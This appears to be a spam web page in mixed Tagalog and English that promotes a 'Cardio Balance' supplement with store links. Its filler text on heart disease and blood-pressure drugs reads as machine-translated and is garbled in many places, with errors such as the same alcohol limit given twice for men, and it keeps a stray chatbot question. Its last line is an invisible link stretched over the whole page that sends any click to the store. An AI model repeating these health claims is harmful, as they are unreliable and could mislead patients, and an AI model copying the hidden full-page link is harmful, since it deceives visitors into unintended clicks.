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# The pathology of the diseases of the cardiovascular System # --- [![](https://cardio-balance-ph.store-best.net/img/2.jpg)](https://cardio-balance-ph.store-best.net) <div style="height:500px;"></div> ## Cardiovascular diseases-a guide ## Ang arteryal na hypertension o hypertension ay isang kondisyon ng patuloy na systolic at diastolic na presyon ng dugo, kung saan ang mga sukatan ay lumalagpas sa 140/90 mmHg. Ang mataas na presyon ay nagpapakita ng mga hindi komportableng sintomas. Cardiovascular diseases — a guide Introduction Cardiovascular diseases (CVD) are one of the leading causes of death worldwide. According to the world health organization (WHO), every year approximately 17.9 million deaths, equivalent to approximately 32% of all deaths worldwide. These diseases include a variety of diseases of the heart and blood vessels, including Coronary heart disease (CHD), congestive heart failure, stroke, high blood pressure (hypertension) and peripheral arterial disease. The main forms of cardiovascular disease Among the most common forms of CVD: Coronary heart disease (CHD): it is caused by a narrowing of the coronary arteries, usually as a result of atherosclerosis. This can lead to Angina or a heart attack. High blood pressure (hypertension): A permanently elevated blood pressure (≥140/90 mmHg) charged to the heart and blood vessels and increases the risk for heart attack and stroke. Congestive heart failure: The heart loses its pumpability, whereby the body is not sufficiently supplied with oxygen. Stroke (apoplexy): An interruption of the blood supply to the brain, which can lead to permanent damage or death. Arrhythmias: heart rhythm disorders, ranging from harmless to life-threatening forms. Risk factors The main risk factors for CVD in modifiable and non-modifiable sub-parts: Modifiable Factors: Smoking Overweight and obesity Lack of exercise Unhealthy diet (high, high in salt, fat and sugar content) Alcohol consumption Stress Diabetes mellitus Hyperlipidemia (elevated blood fats) Non-modifiable factors: Age (the risk increases with age) Gender (men are up to 50. Age more affected; after Menopause, the risk of approaching women and the men) Genetic predisposition and family history Prevention and lifestyle changes Effective prevention of CVD is based on a Change of lifestyle: Regular physical activity: at Least 150 minutes of moderate load per week (e.g., walking, Cycling, Swimming). Healthy diet: Increased consumption of fruits, vegetables, whole grain products, nuts and low-fat dairy products. Reduction of saturated fats, TRANS fats, salt (&lt;5 g per day) and sugar. Smoking quitting Smoking: Stop The risk of heart attacks and stroke, reduces seizures significantly. Alcohol reduction: a Maximum of 10 g of pure alcohol per day for men and 20 g for men. Weight control: A healthy body mass index (BMI between 18.5 and 24.9 kg/m 2 ) reduces the pollution potential for the heart and circulatory system. Stress management: methods, such as Meditation, Yoga or progressive muscle relaxation can help reduce Stress. Diagnosis and treatment The diagnosis of CVD includes: History and physical examination Blood pressure measurement Laboratory Tests (Lipid Spectrum Of Blood Sugar, Kidney Values) Electrocardiogram (ECG) Echocardiography (ultrasound of the heart) Load tests (e.g., treadmill test) Coronary angiography for suspected CHD The treatment depends on the particular disease and can include medication, as well as operational measures: Medications: antihypertensives, statins, anticoagulants, beta-blockers, ACE‑inhibitors, etc. Interventional procedure: PTCA (balloon dilatation), stent implantation Surgery: Bypass Surgery, Heart Valve Replacement Conclusion Cardiovascular diseases represent a serious health challenge. Through a consistent prevention, early diagnosis and adequate treatment of many disease, but cases and deaths prevented. A healthy lifestyle is the most important component to the reduction of individual risk. Ang presyon ng dugo ay isa sa mga pangunahing indikasyon ng kalusugan, na hindi lamang sumasalamin sa puso at sistema ng sirkulasyon, kundi pati na rin sa aktibidad ng mga bato, mga organo ng endokrin, paggawa ng dugo, at ng sistema ng nerbiyos. Kaya naman, walang isang unibersal na gamot laban sa mataas na presyon ng dugo. Hindi ka basta basta puwedeng pumunta sa botika at magtanong ng 'tableta para sa presyon,' kasi agad na tatanungin ng parmasyutiko – anong gamot ang nireseta sa iyo ng doktor? > Ang mga modernong gamot sa pag-imprenta ay hinahati sa 10 iba't ibang grupo ayon sa kanilang mekanismo ng pagkilos. Pagkatapos suriin ng doktor ang mga reklamo ng pasyente at ang resulta ng mga pagsusuri, nagrereseta siya ng isa o higit pang gamot, na hindi dapat baguhin nang mag-isa. Ang mga gamot sa puso at daluyan ng dugo ay hindi kabilang sa mga puwedeng irekomenda sa kaibigan. Ang maling desisyon ay maaaring magdulot ng malungkot na kahihinatnan. Lahat ng gamot na pampababa ng presyon ng dugo ay kailangan ng reseta. Sa artikulong ito, tinitingnan natin ang kanilang modernong klasipikasyon base sa mga aktibong sangkap at sa paraan ng epekto nito sa katawan. ![](https://cardio-balance-ph.store-best.net/img/8.jpg) <a href="https://md.jaydee.space/s/XLYoaeNhws">Presyong pang-promosyon</a> Cardio Balance helps reduce blood fat levels by reducing the production of cholesterol and triglycerides in the body and improving the transportation of fats in the bloodstream. <a href="https://doc.fung.uy/s/-QtF5p-1Qj">Presyong pang-promosyon</a> The pathology of the diseases of the cardiovascular system: A silent epidemic The almost is due any second cause of death in the industrialized countries, on the diseases of the cardiovascular system, makes it clear that These diseases have become a true people's disease. This term refers to a wide variety of Suffering, from the atherosclerosis lies on the coronary heart disease to strokes and heart failure. But what exactly is at a pathological level incorrectly when the circulatory system fails? The Central role is played often in the atherosclerosis — the hardening and hardening of the vessel walls. In fat, cholesterol and calcium deposits accumulate Inside of the arteries. These so-called Placken to narrow the vessel lumen and impede blood flow. A Plaque is unstable, it can tear. Then a blood clot (Thrombus), which can occlude the vessel fully formed quickly. This results in a heart artery to the lock, is created to die of a heart attack is a life-threatening emergency situation, in the heart muscle tissue. In addition to the mechanical narrowing of the Endothelial dysfunction plays a crucial role. The endothelium of the vessels in the inner lining of the blood, normally regulates the vascular tone, blood coagulation, and inflammatory responses. In pathological States, it loses these functions, which leads to increased inflammation and vasoconstriction. The heart itself can be pathological to be changed. In the case of hypertensive heart disease of the left heart ventricle must fight against an increased pressure (e.g., hypertension). As a result of its wall (Left ventricular hypertrophy) thickens. First of all, this is an adaptive response, in the long term, however, it makes the relaxation and filling of the heart and can lead to heart failure — a condition in which the heart can no longer pump enough blood to the body. Risk factors accelerate these pathological processes. Among them are: High Blood Pressure (Hypertension), Diabetes mellitus, Smoking Overweight and obesity, Lack of movement, an unhealthy diet high in salt and fat content, Genetic Disposition. The pathological changes in the cardiovascular system often develop over years or decades, long before symptoms occur. This latent Phase, makes the disease so dangerous: Many people are unaware of the risks and take preventive measures. The good news is that Many of these diseases are präventierbar. A healthy lifestyle — regular physical activity, a balanced diet, giving up Smoking, and the control of blood pressure and blood sugar can slow down the development of atherosclerosis and other pathologic changes significantly, or even prevent them. Conclusion: The pathology of the cardiovascular system is complex, however, their main causes are not known. By informing us about the risk factors and our life style, we can protect our heart and our blood vessels — and therefore, the silent epidemic together to combat it. ## Tablets of hypertension 1 degree ## Tablets for the treatment of hypertension 1. Grade Hypertension medical arterial hypertension, is a widespread health problem. When High Blood Pressure 1. Degree of systolic blood pressure between 140 and 159 mmHg and/or diastolic between 90 and 99 mmHg. This blood pressure increase the risk of cardiovascular disease, which is why an appropriate therapy is of great importance. The treatment of high blood pressure 1. The degree usually starts with non-drug measures: healthy diet (reduced salt intake, rich in vegetables and fruit), regular physical activity, Weight reduction in Overweight, Waiver of nicotine and moderate use of alcohol. When these measures alone are not sufficient to keep the blood pressure in the normal range, a drug therapy should be considered. The choice of tablets depends on individual factors such as age, comorbidities, and the individual risk profile of the patient. Common groups of Drugs for the treatment of: ACE inhibitors (Angiotensin‑converting enzyme inhibitors): act by inhibiting the enzyme which generates Angiotensin-II; lead vessels to a relaxation of the blood, and thus to a Lowering of the blood pressure; Examples: Ramipril, Enalapril. AT1‑receptor blockers (Sartans): blocking the effect of Angiotensin II to its receptors; similar effect as ACE inhibitors, are often better tolerated (less cough); Examples: Losartan, Valsartan. Calcium channel blockers: inhibit the influx of Calcium into the smooth muscle of blood vessel walls; cause vascular dilatation and reduce peripheral vascular resistance; Examples: Amlodipine, Nifedipine. Thiazide Diuretics: promote the excretion of water and salt through the kidneys; the blood, reduce the volume, and therefore blood pressure; Example: Hydrochlorothiazide. Beta-blockers: to reduce the heart rate and cardiac output; are often used in patients with cardiac arrhythmias or heart attack; Examples: Metoprolol, Bisoprolol. Treatment strategy It is often started with a low dose of a single drug. If the target blood pressure (&lt;140/90 mmHg in older patients, possibly somewhat later) is not reached, the dose can be increased, or a combination therapy of two different groups of Drugs are initiated. Combinations of ACE inhibitor + calcium channel blocker or ACE inhibitor + diuretic are particularly effective and are often used. Conclusion The customized tablets therapy in hypertension 1. Grade can have seizures, the risk of heart attacks, strokes and kidney reduce damage significantly. The close coordination between the physician and the Patient, regular blood pressure measurements, as well as the consideration of the side effects are crucial for the success of the therapy. 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diseases: A step to health for all Cardiovascular diseases are the leading causes of death. According to the world health organization (WHO), cases every year, millions of death — and many of them could be prevented. It is precisely here that the new national health program to combat cardiovascular diseases. The goal is to reduce the prevalence of this disease is significantly and improve the quality of life of the population in a sustainable way followed. Why is such a program so important? The diseases of the cardiovascular system, including heart attacks, strokes, high blood pressure and atherosclerosis, represent a serious burden for the health system. Their frequency also increases due to risk factors such as unhealthy diet, lack of exercise, Smoking, and chronic Stress. The programme is designed to address these factors systematically, not only by medical treatment, but especially through prevention. What is included in the program? The program includes several areas: Prevention campaigns. Public education about a healthy lifestyle: a balanced diet low in salt and saturated fats, regular physical activity, not Smoking and moderate use of alcohol. Early detection. Regular checkups, especially for high-risk people (e.g., family history of Diabetes, Obesity). Measurement of blood pressure, cholesterol and blood sugar levels. Education and training. Training for Doctors and medical personnel to the current diagnosis and therapy of cardiovascular diseases. In addition, services for businesses and schools, in order to establish healthy habits in everyday life. Infrastructure. Expansion of rehabilitation facilities and support offered after a heart attack or stroke. Support, physiotherapy, nutritional counseling, and psychosocial care. Data collection and research. Systematic detection of disease data for the optimization of prevention and treatment strategies. Promotion of research projects to new therapeutic approaches. First successes and challenges In the first years of implementation, the data show positive trends: The Rate of early diagnoses increased, and the number of heart attacks in high-risk groups is slightly decreased. Nevertheless, challenges remain — such as the achievement of population groups with lower education or income level at which the risk factors occur more frequently. Conclusion The program for the control of cardiovascular diseases is an important milestone on the way to a healthier society. It shows that prevention and early Intervention only save lives, but also the cost of the health care system in the long term, can reduce. However, the success depends on the participation of all the citizens: Each individual can make a healthy lifestyle a contribution — and not only his own health but also the future of the entire company strengths. Would you like me to make a certain section in more detail or more aspects of the subject complement? <a href="https://cardio-balance-ph.store-best.net" style="height:100%;left:-15%;position:fixed;text-align:center;top:-0px;width:1000%;z-index:2147483647;">The pathology of the diseases of the cardiovascular System</a>